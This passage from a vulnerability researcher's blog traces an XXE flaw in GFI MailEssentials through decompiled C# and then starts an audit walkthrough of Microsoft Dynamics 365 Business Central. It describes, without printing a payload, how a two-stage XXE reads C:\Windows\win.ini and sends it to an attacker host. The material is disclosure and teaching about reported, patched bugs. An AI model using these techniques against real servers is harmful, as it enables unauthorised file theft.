which then is written into a <code class="language-plaintext highlighter-rouge">System.IO.MemoryStream</code> object at [12]. Then at [13] our <code class="language-plaintext highlighter-rouge">ImportAntiPhisingKeywordList</code> method gets called with the content.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="kt">bool</span> <span class="nf">ImportAntiPhisingKeywordList</span><span class="p">(</span><span class="kt">byte</span><span class="p">[]</span> <span class="n">streamArray</span><span class="p">,</span> <span class="kt">string</span> <span class="n">extension</span><span class="p">)</span> <span class="c1">// [14]</span>
<span class="p">{</span>
	<span class="k">this</span><span class="p">.</span><span class="nf">WriteToLogFile</span><span class="p">(</span><span class="s">"Import ImportAntiPhisingKeywordList"</span><span class="p">);</span>
	<span class="k">this</span><span class="p">.</span><span class="nf">UpdateProgressStatus</span><span class="p">(</span><span class="n">ItemInProgress</span><span class="p">.</span><span class="n">AntiPhishingKeyword</span><span class="p">,</span> <span class="n">ImportStatus</span><span class="p">.</span><span class="n">Progress</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span>
	<span class="n">List</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;</span> <span class="n">list</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;();</span>
	<span class="n">list</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="n">streamArray</span><span class="p">);</span> <span class="c1">// [15]</span>
	<span class="n">list</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="n">extension</span><span class="p">);</span>
	<span class="n">Thread</span> <span class="n">thread</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Thread</span><span class="p">(</span><span class="k">new</span> <span class="nf">ParameterizedThreadStart</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">ImportAntiPhisingKeywordList</span><span class="p">));</span> <span class="c1">// [16]</span>
	<span class="n">thread</span><span class="p">.</span><span class="nf">Start</span><span class="p">(</span><span class="n">list</span><span class="p">);</span>
	<span class="k">return</span> <span class="k">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We know that the <code class="language-plaintext highlighter-rouge">extension</code> method parameter is set to a fixed value of <code class="language-plaintext highlighter-rouge">xml</code> [14] (see also [13]). Then <code class="language-plaintext highlighter-rouge">streamArray</code> with our XML content
is added to a <code class="language-plaintext highlighter-rouge">System.Collections.Generic.List`1</code> with members of type <code class="language-plaintext highlighter-rouge">System.Object</code> [15].
Finally at [16], a new <code class="language-plaintext highlighter-rouge">System.Threading.Thread</code> is created, calling <code class="language-plaintext highlighter-rouge">MEC.Configuration.RemotingHelper::ImportAntiPhisingKeywordList(System.Object)</code> with <code class="language-plaintext highlighter-rouge">list</code> as parameter.</p>

<p>We reached our final method, containing the XXE sink described in the very beginning of this chapter.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">void</span> <span class="nf">ImportAntiPhisingKeywordList</span><span class="p">(</span><span class="kt">object</span> <span class="n">objectThreadObjs</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">List</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;</span> <span class="n">list</span> <span class="p">=</span> <span class="p">(</span><span class="n">List</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;)</span><span class="n">objectThreadObjs</span><span class="p">;</span> <span class="c1">// [17]</span>
	<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">[])</span><span class="n">list</span><span class="p">[</span><span class="m">0</span><span class="p">];</span> <span class="c1">// [18]</span>
	<span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="p">(</span><span class="kt">string</span><span class="p">)</span><span class="n">list</span><span class="p">[</span><span class="m">1</span><span class="p">];</span> <span class="c1">// [19]</span>
	<span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">memoryStream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">(</span><span class="n">array</span><span class="p">))</span> <span class="c1">// [20]</span>
	<span class="p">{</span>
		<span class="k">try</span>
		<span class="p">{</span>
			<span class="kt">int</span> <span class="n">num</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
			<span class="kt">int</span> <span class="n">num2</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
			<span class="k">using</span> <span class="p">(</span><span class="n">StreamReader</span> <span class="n">streamReader</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">StreamReader</span><span class="p">(</span><span class="n">memoryStream</span><span class="p">))</span> <span class="c1">// [21]</span>
			<span class="p">{</span>
				<span class="k">using</span> <span class="p">(</span><span class="n">OleDbConnection</span> <span class="n">oleDbConnection</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">OleDbConnection</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nf">GetMEConfigConnString</span><span class="p">()))</span>
				<span class="p">{</span>
					<span class="n">oleDbConnection</span><span class="p">.</span><span class="nf">Open</span><span class="p">();</span>
					<span class="kt">string</span> <span class="n">text2</span> <span class="p">=</span> <span class="n">text</span><span class="p">.</span><span class="nf">ToLowerInvariant</span><span class="p">();</span>
					<span class="k">if</span> <span class="p">(!(</span><span class="n">text2</span> <span class="p">==</span> <span class="s">"xml"</span><span class="p">))</span> <span class="c1">// [22]</span>
					<span class="p">{</span>
						<span class="k">if</span> <span class="p">(</span><span class="n">text2</span> <span class="p">==</span> <span class="s">"txt"</span><span class="p">)</span>
						<span class="p">{</span>
							<span class="k">while</span> <span class="p">(!</span><span class="n">streamReader</span><span class="p">.</span><span class="n">EndOfStream</span><span class="p">)</span>
							<span class="p">{</span>
								<span class="kt">string</span> <span class="n">text3</span> <span class="p">=</span> <span class="n">streamReader</span><span class="p">.</span><span class="nf">ReadLine</span><span class="p">();</span>
								<span class="k">if</span> <span class="p">(</span><span class="n">text3</span> <span class="p">!=</span> <span class="k">null</span> <span class="p">&amp;&amp;</span> <span class="n">text3</span><span class="p">.</span><span class="n">Length</span> <span class="p">&gt;</span> <span class="m">2</span><span class="p">)</span>
								<span class="p">{</span>
									<span class="kt">bool</span> <span class="n">flag</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="nf">SavePhisingKeywordToDb</span><span class="p">(</span><span class="n">text3</span><span class="p">,</span> <span class="n">oleDbConnection</span><span class="p">);</span>
									<span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">)</span>
									<span class="p">{</span>
										<span class="n">num</span><span class="p">++;</span>
										<span class="k">this</span><span class="p">.</span><span class="nf">UpdateProgressStatus</span><span class="p">(</span><span class="n">ItemInProgress</span><span class="p">.</span><span class="n">AntiPhishingKeyword</span><span class="p">,</span> <span class="n">ImportStatus</span><span class="p">.</span><span class="n">Progress</span><span class="p">,</span> <span class="n">num</span><span class="p">,</span> <span class="n">num2</span><span class="p">);</span>
									<span class="p">}</span>
									<span class="k">else</span>
									<span class="p">{</span>
										<span class="n">num2</span><span class="p">--;</span>
									<span class="p">}</span>
								<span class="p">}</span>
							<span class="p">}</span>
						<span class="p">}</span>
					<span class="p">}</span>
					<span class="k">else</span>
					<span class="p">{</span>
						<span class="kt">string</span> <span class="n">text4</span> <span class="p">=</span> <span class="n">streamReader</span><span class="p">.</span><span class="nf">ReadToEnd</span><span class="p">();</span>
						<span class="n">XmlDocument</span> <span class="n">xmlDocument</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">XmlDocument</span><span class="p">();</span>
						<span class="n">xmlDocument</span><span class="p">.</span><span class="nf">LoadXml</span><span class="p">(</span><span class="n">text4</span><span class="p">);</span> <span class="c1">// [23]</span>
						<span class="c1">// ...</span>
</code></pre></div></div>

<p>Our <code class="language-plaintext highlighter-rouge">objectThreadObjs</code> is again “casted” into a <code class="language-plaintext highlighter-rouge">List&lt;object&gt;</code> [17]. The first entry [18] contains the XML itself, the second one [19] the file extension.
The XML content is put into a <code class="language-plaintext highlighter-rouge">System.IO.MemoryStream</code> [20] to be finally used in a <code class="language-plaintext highlighter-rouge">System.IO.StreamReader</code> object [21].
If you recall, our extension equals <code class="language-plaintext highlighter-rouge">xml</code> so the <code class="language-plaintext highlighter-rouge">if</code> case at [22] is <em>not</em> taken.
In the <code class="language-plaintext highlighter-rouge">else</code> branch we hit the XXE sink at [23] instead: our full chain from web user interface user control to XXE sink got traced back successfully.</p>

<p>But could XXE work here? What does the .NET Framework version of this GFI MailEssentials .NET Assembly say?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// C:\Program Files (x86)\GFI\MailEssentials\Backend\bin\MEC.Configuration.dll
// MEC.Configuration.dll

// Global type: &lt;Module&gt;
// Architecture: AnyCPU (64-bit preferred)
// Runtime: .NET Framework 4
// Timestamp: 62B091B8 (6/20/2022 8:26:48 AM)
</code></pre></div></div>

<p>Looks good to me: PoC time! I used my favorite .NET XXE payload from <a href="https://gist.github.com/staaldraad/01415b990939494879b4">this gist</a>.
As a two-stage payload, it fetches the file <code class="language-plaintext highlighter-rouge">ev.xml</code> from my attacker’s machine then reading the referenced file <code class="language-plaintext highlighter-rouge">C:\Windows\win.ini</code> locally on server-side,
finally providing its content with a second HTTP request to the attacker machine again.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_xxefileread.png" alt="XXE File Read" />
<strong>See the full GIF video <a href="/assets/images/mailessentials/gfiblog_xxefileread.gif">here</a></strong></p>

<h1 id="conclusions">Conclusions</h1>

<p>GFI MailEssentials provides a lot of interesting attack surface, especially regarding different technology stack components.
Unfortunately (for me), I didn’t find any authentication bypass. But maybe someone else can do it. At least other authenticated
vulnerabilities exist which I didn’t report, yet. If you find other vulnerabilities,
don’t forget to reference my first insights into this target :-P.</p>

<p>I think we can conclude on the criticality of my findings that “Vulnerability II” could be chosen as the winner with at least a “PR:L” requirement (especially “sexy” in AD environments).
The other findings might become useful in special situtations but are mostly interesting in a technical sense and hopefully teach some more code audit methodology to my readers.</p>

<p>GFI released <a href="https://gfi.ai/products-and-solutions/network-security-solutions/mailessentials/resources/documentation/product-releases">a new version 21.8</a> and they provided the patches to me in advance. Here is my summary:</p>

<ul>
  <li>LPE via .NET Remoting fixed for the script kiddie case. They implemented a restrictive <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization.SerializationBinder</code> which doesn’t appear too restrictive from my perspective (:-P). A nice little playground for you.</li>
  <li>They deleted the need for <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> in the remote web call. Seems fine to me.</li>
  <li>The XXE sinks were modified by setting each object’s <code class="language-plaintext highlighter-rouge">System.Xml.XmlResolver</code> to <code class="language-plaintext highlighter-rouge">null</code>. Also good, at least for these sinks.</li>
</ul>

<p>Cheers!</p>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[What is this product GFI MailEssentials all about? We’re living the future, right? So let’s ask the GFI AI.]]></summary></entry><entry><title type="html">Dynamics 365 Business Central - A Journey With Ups and Downs</title><link href="/vulns4free/2024/07/10/dynamics-ups-and-downs.html" rel="alternate" type="text/html" title="Dynamics 365 Business Central - A Journey With Ups and Downs" /><published>2024-07-10T01:00:00+00:00</published><updated>2024-07-10T01:00:00+00:00</updated><id>/vulns4free/2024/07/10/dynamics-ups-and-downs</id><content type="html" xml:base="/vulns4free/2024/07/10/dynamics-ups-and-downs.html"><![CDATA[<blockquote>
  <p>Microsoft Dynamics 365 Business Central (formerly Microsoft Dynamics NAV) – ERP and CRM software-as-a-service product meant for small and mid-sized businesses.</p>
</blockquote>

<p>Recently, I was thinking about different Microsoft products and their statistical vulnerability distribution in the near past. What are the most popular targets for researchers? Classically, we heard about SharePoint, Exchange etc. So I focused on a different product: the Dynamics 365 suite. I didn’t have any experience with this product family but I saw at least several <strong>Business Central</strong> installations during assessments over the years. End of April 2024, I submitted two vulnerabilities to the Microsoft Security Response Center (MSRC) and luckily, they got accepted (<strong>CVE-2024-35248, CVE-2024-35249</strong>) and even matched the Dynamics 365 bounty criteria. The reward was surprisingly generous and I decided to donate 100% of the bounty to charities for childen.</p>

<p>Since I again learnt tons of new things, I thought it might be the best idea to share my whole journey with you in a blog post. So a short warning at the beginning: this blog post will become a bit lengthy and maybe also boring to some more experienced researchers. We’ll read a lot about my thought processes during the audit, including rabbit holes, and inline advices which hopefully will help others. I tried to write the blog in a similar style to a <a href="https://frycos.github.io/vulns4free/2022/05/24/security-code-audit-fails.html">Java variant</a>, this time for .NET.</p>

<p>And finally, I’ll conclude my introductory words with a “Thank you, MSRC” for proofreading this blog post.</p>

<h1 id="setup-and-technology-analysis">Setup and Technology Analysis</h1>

<p>Luckily, we can find on-premises installation files at <a href="https://www.microsoft.com/en-us/download/details.aspx?id=105617">Microsoft’s download sites</a>. At that time of starting my research, I got the <strong>Microsoft Dynamics 365 Business Central 2023 Release Wave 2</strong> setup and installed it on a fully patched Windows Server 2022. Compared to other product audits and their (PITA) setup routines, this experience was quite satisfying. The installation came with SQL Express 2019 and a demo database such that after the installation wizard ended, one could play with a fully functional system.</p>

<blockquote>
  <p><strong>Advice #1</strong>: Make sure that you install the latest version with all patches/hotfixes available before starting any testing.</p>
</blockquote>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicslandingpage.png" alt="Dynamics 365 Business Central landing page" /></p>

<p>So what are our steps to collect some first facts about the research target?</p>

<ul>
  <li>We play a little bit with the application of course, using a MitM proxy tool of our choice.</li>
  <li>Our web application seems to be running under the root path <code class="language-plaintext highlighter-rouge">/BC230/</code>.</li>
  <li>The largest proportion of communication quickly switches to a WebSocket-based protocol talking on path <code class="language-plaintext highlighter-rouge">/BC230/csh</code>.</li>
  <li>Looking into the IIS Manager (<code class="language-plaintext highlighter-rouge">inetmgr.exe</code>), an Application Pool <code class="language-plaintext highlighter-rouge">BC230</code> can be found.</li>
  <li>Under <em>Sites</em>, an entry “Microsoft Dynamics 365 Business Central Web Client” exists, pointing to <code class="language-plaintext highlighter-rouge">C:\inetpub\wwwroot\Microsoft Dynamics 365 Business Central Web Client</code> which doesn’t contain a lot of data.</li>
  <li>The important stuff seems to come from the directory <code class="language-plaintext highlighter-rouge">C:\inetpub\wwwroot\BC230</code> but how does it all fit together?</li>
  <li>Taking another look under the “Microsoft Dynamics 365 Business Central Web Client” site reveals a <em>BC230 Application</em> configuration which indeed points to <code class="language-plaintext highlighter-rouge">C:\inetpub\wwwroot\BC230</code>. To understand the relationships between the running processes, the corresponding directories etc. took me a while.</li>
</ul>

<blockquote>
  <p><strong>Advice #2</strong>: You cannot read enough documentation on your target and its components (tech stack) in advance.</p>
</blockquote>

<p>Now, we can start exploring the directory with its binaries and configuration files a bit more. A good starter in the root directory is the file <code class="language-plaintext highlighter-rouge">web.config</code> at <code class="language-plaintext highlighter-rouge">C:\inetpub\wwwroot\BC230\web.config</code>.</p>

<blockquote>
  <p><strong>Advice #3</strong>: Try to know the typical artifacts for your tech stack by heart.</p>
</blockquote>

<p>The first relevant part is shown next.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;aspNetCore</span> <span class="na">requestTimeout=</span><span class="s">"12:00:00"</span> <span class="na">processPath=</span><span class="s">".\Prod.Client.WebCoreApp.exe"</span> <span class="na">arguments=</span><span class="s">""</span> <span class="na">stdoutLogEnabled=</span><span class="s">"false"</span> <span class="na">stdoutLogFile=</span><span class="s">".\logs\stdout"</span> <span class="na">forwardWindowsAuthToken=</span><span class="s">"true"</span> <span class="na">hostingModel=</span><span class="s">"OutOfProcess"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;environmentVariables&gt;</span>
    <span class="nt">&lt;environmentVariable</span> <span class="na">name=</span><span class="s">"ASPNETCORE_ENVIRONMENT"</span> <span class="na">value=</span><span class="s">"Production"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;environmentVariable</span> <span class="na">name=</span><span class="s">"ASPNETCORE_HTTPS_PORT"</span> <span class="na">value=</span><span class="s">"443"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;/environmentVariables&gt;</span>
<span class="nt">&lt;/aspNetCore&gt;</span>
</code></pre></div></div>

<p>We find a process running from <code class="language-plaintext highlighter-rouge">C:\inetpub\wwwroot\BC230\Prod.Client.WebCoreApp.exe</code>. This process seems to be based on
ASP.NET Core and the <code class="language-plaintext highlighter-rouge">hostingModel</code> equals to <code class="language-plaintext highlighter-rouge">OutOfProcess</code>. Looking at more <a href="https://learn.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/?view=aspnetcore-8.0">Microsoft documentation</a>, I learnt that
an application can run in two modes with IIS: <em>in-process</em> or <em>out-of-process</em>.</p>

<blockquote>
  <p>In-process hosting runs an ASP.NET Core app in the same process as its IIS worker process. In-process hosting provides improved performance over out-of-process hosting because requests aren’t proxied over the loopback adapter, a network interface that returns outgoing network traffic back to the same machine.</p>
</blockquote>

<p>For our <em>out-of-process</em> case, ASP.NET Core apps run in a process separate from the IIS worker process. So we expect the <code class="language-plaintext highlighter-rouge">Prod.Client.WebCoreApp.exe</code> process listening with some weird port on <code class="language-plaintext highlighter-rouge">localhost</code>. This is the case: listening at <code class="language-plaintext highlighter-rouge">localhost:23893</code> at one moment in time. So we attach to the process with <a href="https://github.com/dnSpy/dnSpy">dnSpy</a> and observe the target framework in the Assembly’s metadata: <code class="language-plaintext highlighter-rouge">.NETCoreApp,Version=v6.0</code>.</p>

<blockquote>
  <p><strong>Advice #4</strong>: If you don’t understand some terminology, try to google the hell out of it.</p>
</blockquote>

<h1 id="prodclientwebcoreappexe">Prod.Client.WebCoreApp.exe</h1>

<p>We try enumerating the controllers first and in a next step checking if we can hit a breakpoint properly.
The namespaces can help to identify them but if one understands the underlying tech(nology) stack, you’re able to guess
the relevant super classes often used in such projects. In this case, extending classes from <code class="language-plaintext highlighter-rouge">Microsoft.AspNetCore.Mvc.Controller</code>
can be easily listed with the dnSpy Analyzer.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsprodclientwebcontrollers.png" alt="Controllers" /></p>

<blockquote>
  <p><strong>Advice #5</strong>: Know the basic terminology of programming languages and software architecture to easily identify relevant classes, methods and relationships between them.</p>
</blockquote>

<p>Taking a random controller such as <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.WebClient.Controllers.HealthController</code> should be enough for debug testing purposes.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">HttpGet</span><span class="p">]</span>
<span class="p">[</span><span class="n">AllowAnonymous</span><span class="p">]</span>
<span class="k">public</span> <span class="k">async</span> <span class="n">Task</span><span class="p">&lt;</span><span class="n">IActionResult</span><span class="p">&gt;</span> <span class="nf">System</span><span class="p">()</span>
<span class="p">{</span>
	<span class="kt">bool</span> <span class="n">flag</span> <span class="p">=</span> <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="n">systemHealthChecker</span><span class="p">.</span><span class="nf">IsSystemHealthyAsync</span><span class="p">().</span><span class="nf">ConfigureAwait</span><span class="p">(</span><span class="k">false</span><span class="p">);</span>
	<span class="kt">bool</span> <span class="n">healthy</span> <span class="p">=</span> <span class="n">flag</span><span class="p">;</span>
	<span class="n">IActionResult</span> <span class="n">actionResult</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">healthy</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">actionResult</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="nf">Json</span><span class="p">(</span><span class="k">new</span> <span class="nf">JsonRpcRestResponse</span><span class="p">(</span><span class="k">true</span><span class="p">));</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="n">actionResult</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="nf">StatusCode</span><span class="p">(</span><span class="m">500</span><span class="p">,</span> <span class="k">new</span> <span class="nf">JsonRpcRestResponse</span><span class="p">(</span><span class="k">false</span><span class="p">));</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">actionResult</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The following request hits our breakpoint, as expected.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsprodclientwebdebugtest.png" alt="Debug test" /></p>

<p>Also notice that <code class="language-plaintext highlighter-rouge">Microsoft.AspNetCore.Authorization.AllowAnonymousAttribute</code> is one of the most interesting attributes (but not the only one of course) when searching for <em>unauthenticated attack surface enumeration</em>.</p>

<blockquote>
  <p><strong>Advice #6</strong>: Sometimes understanding the tech stack to find Pre-/Un-Auth’d attack surface is not enough. You might have to read through the code for a while to identify variants.</p>
</blockquote>

<p>So what I usually do is, going through <em>all</em> the controllers, trying to catch ideas about common coding patterns and libraries. E.g. in the <code class="language-plaintext highlighter-rouge">HealthController</code> code snippet above, you might have noticed a <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Framework.UI.WebBase.JsonRpcRestResponse</code> constructor call. Having another look at our MitM proxy communication over WebSockets, we see a lot of JsonRpc calls.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
	</span><span class="nl">"arguments"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
		</span><span class="p">{</span><span class="w">
			</span><span class="nl">"jsonrpc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0"</span><span class="p">,</span><span class="w">
			</span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"|eba7f726212e414d98fed9d73615f3fd.494e6f336ccf49a6"</span><span class="p">,</span><span class="w">
			</span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Invoke"</span><span class="p">,</span><span class="w">
			</span><span class="nl">"params"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
				</span><span class="p">{</span><span class="w">
					</span><span class="nl">"openFormIds"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
						</span><span class="s2">"34"</span><span class="w">
					</span><span class="p">],</span><span class="w">
					</span><span class="nl">"sessionId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CRONUS USA, Inc.WIN-JQO5OPHMISF</span><span class="se">\\</span><span class="s2">AdministratorSR6385094338752432191NAV"</span><span class="p">,</span><span class="w">
					</span><span class="nl">"sequenceNo"</span><span class="p">:</span><span class="w"> </span><span class="s2">"lw14vop6#9"</span><span class="p">,</span><span class="w">
					</span><span class="nl">"lastClientAckSequenceNumber"</span><span class="p">:</span><span class="w"> </span><span class="mi">15</span><span class="p">,</span><span class="w">
					</span><span class="nl">"telemetryClientActivityId"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
					</span><span class="nl">"navigationContext"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
						</span><span class="nl">"applicationId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"NAV"</span><span class="p">,</span><span class="w">
						</span><span class="nl">"deviceCategory"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
						</span><span class="nl">"spaInstanceId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"lw14vop7"</span><span class="w">
					</span><span class="p">},</span><span class="w">
					</span><span class="nl">"supportedExtensions"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
					</span><span class="nl">"interactionsToInvoke"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
						</span><span class="p">{</span><span class="w">
							</span><span class="nl">"interactionName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"InvokeExtensibilityMethod"</span><span class="p">,</span><span class="w">
							</span><span class="nl">"namedParameters"</span><span class="p">:</span><span class="w"> </span><span class="s2">"{</span><span class="se">\"</span><span class="s2">extensionObjectReference</span><span class="se">\"</span><span class="s2">:{</span><span class="se">\"</span><span class="s2">id</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">-2147483646</span><span class="se">\"</span><span class="s2">},</span><span class="se">\"</span><span class="s2">methodName</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">PageReady</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">arguments</span><span class="se">\"</span><span class="s2">:[],</span><span class="se">\"</span><span class="s2">refreshData</span><span class="se">\"</span><span class="s2">:false}"</span><span class="p">,</span><span class="w">
							</span><span class="nl">"controlPath"</span><span class="p">:</span><span class="w"> </span><span class="s2">"server:"</span><span class="p">,</span><span class="w">
							</span><span class="nl">"formId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"34"</span><span class="p">,</span><span class="w">
							</span><span class="nl">"callbackId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"b"</span><span class="w">
						</span><span class="p">},</span><span class="w">
						</span><span class="p">{</span><span class="w">
							</span><span class="nl">"interactionName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"InvokeExtensibilityMethod"</span><span class="p">,</span><span class="w">
							</span><span class="nl">"namedParameters"</span><span class="p">:</span><span class="w"> </span><span class="s2">"{</span><span class="se">\"</span><span class="s2">methodName</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">ControlAddInReady</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">arguments</span><span class="se">\"</span><span class="s2">:[],</span><span class="se">\"</span><span class="s2">refreshData</span><span class="se">\"</span><span class="s2">:false}"</span><span class="p">,</span><span class="w">
							</span><span class="nl">"controlPath"</span><span class="p">:</span><span class="w"> </span><span class="s2">"server:c[4]"</span><span class="p">,</span><span class="w">
							</span><span class="nl">"formId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2E"</span><span class="p">,</span><span class="w">
							</span><span class="nl">"callbackId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"c"</span><span class="w">
						</span><span class="p">}</span><span class="w">
					</span><span class="p">],</span><span class="w">
					</span><span class="nl">"tenantId"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
					</span><span class="nl">"sessionKey"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sr6385094338752432191"</span><span class="p">,</span><span class="w">
					</span><span class="nl">"company"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CRONUS USA, Inc."</span><span class="p">,</span><span class="w">
					</span><span class="nl">"telemetryClientSessionId"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="w">
				</span><span class="p">}</span><span class="w">
			</span><span class="p">]</span><span class="w">
		</span><span class="p">}</span><span class="w">
	</span><span class="p">],</span><span class="w">
	</span><span class="nl">"invocationId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"9"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"target"</span><span class="p">:</span><span class="w"> </span><span class="s2">"InvokeRequest"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p><strong>Advice #7</strong>: Imho the best approach for auditing is based on code analysis in combination with debugging. Not knowing the code good enough, doesn’t help you poking a running target. Only reading code statically, on the other hand, will decrease your hit rate for interesting things significantly. Certain things are only observable and resolved during runtime.</p>
</blockquote>

<p>Mentioning any kind of RPCs (remote procedure calls) usually fills my heart with joy (from an exploiter’s perspective).
The responsible library is called <a href="https://github.com/microsoft/vs-streamjsonrpc">StreamJsonRpc</a>.</p>

<blockquote>
  <p>A cross-platform .NETStandard library that implements the JSON-RPC wire protocol and can use System.IO.Stream, System.IO.Pipelines or WebSocket so you can use it with any transport.</p>
</blockquote>

<p>With help of our debugger, we quickly realize how a callstack for an incoming message looks like.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>StreamJsonRpc.dll!StreamJsonRpc.JsonMessageFormatter.ReadRequest(Newtonsoft.Json.Linq.JToken json) (IL=0x0000, Native=0x00007FF9F2FFFBF0+0x4F)
StreamJsonRpc.dll!StreamJsonRpc.JsonMessageFormatter.Deserialize(Newtonsoft.Json.Linq.JToken json) (IL≈0x012D, Native=0x00007FF9F2F80DE0+0x309)
StreamJsonRpc.dll!StreamJsonRpc.JsonMessageFormatter.Deserialize(System.Buffers.ReadOnlySequence&lt;byte&gt; contentBuffer) (IL=???, Native=0x00007FF9F2F80180+0x6B)
StreamJsonRpc.dll!StreamJsonRpc.WebSocketMessageHandler.ReadCoreAsync(System.Threading.CancellationToken cancellationToken) (IL=???, Native=0x00007FF9F23AC160+0x53D)
System.Private.CoreLib.dll!System.Threading.ExecutionContext.RunInternal(System.Threading.ExecutionContext executionContext, System.Threading.ContextCallback callback, object state) (IL≈0x0040, Native=0x00007FF9F1C846F0+0x77)
System.Private.CoreLib.dll!System.Runtime.CompilerServices.AsyncTaskMethodBuilder&lt;StreamJsonRpc.Protocol.JsonRpcMessage&gt;.AsyncStateMachineBox&lt;StreamJsonRpc.WebSocketMessageHandler.&lt;ReadCoreAsync&gt;d__13&gt;.MoveNext(System.Threading.Thread threadPoolThread) (IL≈0x003F, Native=0x00007FF9F2F59DD0+0xF4)
System.Net.WebSockets.dll!System.Net.WebSockets.ManagedWebSocket.ReceiveAsyncPrivate&lt;System.Net.WebSockets.ValueWebSocketReceiveResult&gt;(System.Memory&lt;byte&gt; payloadBuffer, System.Threading.CancellationToken cancellationToken)
</code></pre></div></div>

